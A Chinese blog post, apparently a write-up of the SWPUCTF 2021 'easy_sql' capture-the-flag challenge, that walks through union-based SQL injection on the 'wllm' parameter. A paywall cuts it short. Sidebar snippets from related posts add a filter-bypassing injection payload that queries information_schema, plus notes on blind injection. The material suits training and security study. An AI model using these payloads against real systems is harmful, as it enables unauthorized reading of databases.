[SWPUCTF 2021 新生赛]easy_sql

最新推荐文章于 2024-08-05 18:14:19 发布
最新推荐文章于 2024-08-05 18:14:19 发布
阅读量1.4k 收藏 1
点赞数
分类专栏： NSSCTF 文章标签： sql 数据库 database
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zoixsoadji/article/details/124608212
版权

感谢平台Nssctf

进入题目，说是让我们输入点东西，f12打开源代码，发现要求我们传的参数是wllm

那么我们就传入一个wllm=1,发现有注入点

先查看有几个库：?wllm=-1' order by 1--+

 ?wllm=-1' order by 2--+

?wllm=-1' order by 3--+

接下来查回显：?wllm=union select 1,2,3--+

看到回显位是2，3，查库名:?wllm=-1' union select 1,2,database()--+

最低0.47元/天 解锁文章
cng_Capricornus
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQL Server 临时存储过程及示例
08-05 322
在本文中，我们将深入探讨 SQL Server 中的临时存储过程，并提供一些实际的示例。在我们之前的文章中，我们讨论了 SQL Server 存储过程中的返回值。前缀创建的存储过程称为全局临时存储过程。这种类型的存储过程可以被 SQL Server 中的其他连接访问，直到创建该过程的连接关闭为止。在数据库中临时创建的存储过程称为临时存储过程，这些存储过程不会永久存储在数据库中。临时存储过程在连接到不支持 Transact-SQL 语句或批次的执行计划重用的早期版本的 SQL Server 时非常有用。
力扣高频SQL 50题（基础版）第三十八题
m0_70882914的博客
08-02 353
1484.按日期分组销售产品
[SWPUCTF 2021 新生赛]sql
weixin_44833249的博客
06-11 438
wllm=-1%27/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/%27LTLT_flag%27%23 查询LTLT_flag数据表字段。wllm=-1%27/**/union/**/select/**/1,2,3/**/%23判断回显位。空格用/**/绕过，等于号用like绕过，其他的没什么区别。
SQLTools插件下载与使用说明
08-05 306
9、右键菜单SOSI信息 - 查看表信息的sosi.sql脚本的简化版， 可读方式显示字段的low_value与high_value，快速判断谓词越界；SQLTools是一个专注于SQL优化与管理的plsql developer插件，目的是把一些常用的SQL收集在一起，方便快速解决问题，提高工作效率。6、SQL固化脚本生成器 - 只需提供两个SQL_ID,就能生成用固化SQL的脚本,快速优化SQL；3、SQL优化 - 主力工具：SQL优化工具集合，用于分析、优化SQL,快速解决性能问题；
SQL Server中CPU使用率过高的排查
主宰
08-05 196
如果sqlserver进程导致CPU使用率过高，则最常见的原因是执行表或索引扫描的查询，其次是排序、哈希操作和循环 (嵌套循环运算符或 WHILE (T-SQL) )。对于安装了sqlserver的服务器，可以先看下任务管理器中sqlserver对cpu的占用情况，确定是否是sqlserver导致cpu消耗过高。从输出中具有最高improvement_measure值的前5或10条建议开始。这些索引对性能有最显著的积极影响。使用以下查询检查是否缺少索引，并应用具有高改进度量值的任何建议索引。
力扣高频SQL 50题（基础版）第三十七题
m0_70882914的博客
08-02 251
176.第二高的薪水
TDEngine(taos) 涛思数据库-sql初识
m0_47743175的博客
08-02 489
TDEngine(taos) 涛思数据库-sql初识
sql第一次
最新发布
nianwan2157的博客
08-05 139
最后截取192-200发现是已经截取完了。可以看到还没有截取完，再截取64-96。注意不要少写括号，不然会报错。1-32之后截取32-64。
03、DQL（数据查询语言）
nibabaoo的博客
08-05 694
SELECT 字段列表 FROM 表名 [WHERE 条件] GROUP BY 分组字段名 [HAVING 分组后过滤条件]SELECT 字段列表 FROM 表名 ORDER BY 字段1 排序方式1,字段2 排序方式2。SELECT 字段1 [AS 别名1],字段2[AS 别名2] ...FROM 表名。SELECT 字段列表 FROM 表名 LIMIT 起始索引,查询条数。SELECT 字段1,字段2,字段3... FROM 表名。SELECT DISTINCT 字段列表 FROM 表名。
浅谈SQL sever中的触发器
a876106354的博客
08-05 160
触发器（trigger）是SQL server来保证数据完整性的一种方法，它是与表事件相关的特殊的存储过程，它的执行是由事件来触发，当对一个表进行操作（ insert，delete， update）时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。触发器与存储过程的区别是运行方式的不同，触发器在执行T-SQL语句时自动触发执行，而存储过程需要用户，应用程序或者触发器来显式地调用并执行。
SQL中的去重
rookie636的博客
08-02 386
DISTINCT 关键字用于返回唯一不同的值，一般放在查询语句中的第一个字段前使用。DISTINCT会将NULL值也看做成一个不同的值。DISTINCT去重假如有一张员工表：需要获取所有不重复的员工薪资和年龄的组合，如下编写SQL即可。
【力扣】SQL题库练习5
qq_40878316的博客
07-25 1321
即按字母在字典中出现顺序对字符串排序，字典序较小则意味着排序靠前。返回结果格式如下例所示。
SQL各种注入详解加案例--持续更新
m0_72286569的博客
08-05 279
在sql执行的时候，floor是向下取整，配合rand(0)*2产生的前五位数字一定是01101，这下就简单了，我们来模拟group_by过程，遍历 表第一行时，先计算出一个 x=0security，查临时表，不存在，再次计算 x 然后插入 x=1security；id=1”，这里的?时间盲注和布尔盲注的区别是，不管输入的数据正不正确只显示一个跳转页面，当然在注入的时候可以加一个sleep函数使得页面进行沉睡，当访问正确的时候，页面沉睡几秒后跳转，访问错误页面即可跳转。1，当输入Less-1/?
PostgreSQL11 | 触发器
红星编程实验室
08-02 690
本文根据原书《PostgreSql11 从入门到精通》（清华大学出版社）第11章总结整理，为提问与解答可以帮助更多人，本博客模拟GitHub的issue方案，所以私信已关，有问题请在评论区直接指正与提问，允许转发、复制或引用本文章，必须遵守开源法则注释来源与作者，感谢您的阅读。
Sqliabs注入过程
weixin_71398630的博客
08-05 342
提示请输入你的id：首先sql注入输入的数据都是合理的查询语句。产生原因是由于没有对用户的输入做过滤，导致意外的查询语句进入到了程序中，查询到了本不应该查询到的数据。尝试闭合，加上后可以发现报错，说明闭合成功，再加入注释符号，使后面的程序不生效，mysql的注释符号有三种：--空格/***/；使用--+ 的原因是，在url中，会被解析为空格，而直接加空格会被忽略；接下来就可以构造查询语句：首先查询表的列数：使用order by。
达梦数据库的系统视图v$sqltext
文牧之的博客
08-05 381
达梦数据库的V$SQLTEXT视图主要用于显示缓存中的SQL语句的详细文本信息。通过查询这个视图，用户可以获取到缓存中的SQL语句的具体内容，这对于监控和分析数据库中的SQL执行情况非常有用。例如，DBA可以通过这个视图来检查哪些SQL语句被频繁执行，从而进行性能优化或故障排查。
SQL进阶技巧：数据预处理如何对数据进行分桶【分箱】？
石榴姐yyds
08-05 171
本文详细介绍了数据分析中常见的几种分桶方式：基于业务规则的分桶、等距分桶及等频分桶等，针对每种分桶方式给出了SQL实现
InnoDB引擎下SQL的执行流程
qq_62383709的博客
08-05 226
利用io线程在一些特定时机将内存中需要更新的数据读出同时写入磁盘 open+write函数 idb文件。首先将bufferpool中数据的旧值写入undo log中以支持回滚。将更新写入信息放入内存中的 redo log buffer。在innodb查询相关的handler api 组合和调用。在redo log 写入的同时进行binlog的写入操作。然后将更新写入信息 刷入磁盘中redo log。然后将数据写入内存中的buffer pool。索引查询 遍历查询 构建临时表等流程。innodb 主要功能。
beeline -e 执行SQL中有双引号
chimchim66的博客
08-02 195
beeline -e 执行SQL中有双引号 害怕执行报错。
如何将PostgreSQL的数据实时迁移到SelectDB？
让每个人用好数据和云
08-05 728
其实像异构数据迁移这样的事，只要选对了工具，真的没那么难，属于有手就行。就好像本文的 PostgreSQL 迁移到 SelectDB 的场景，一顿操作下来，任务马上就起来了，数据也立刻就过去了，新的增量数据一眨眼功夫就可以在 SelectDB 端查询到了，回想一下好像自己什么也没干，但却发现数据分析的前置工作都已经完成了。实际的配置过程，远没有你看完这篇文章的时间长，也远没有你想象的复杂。看我说产品如何如何不如直接上手来得直观。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值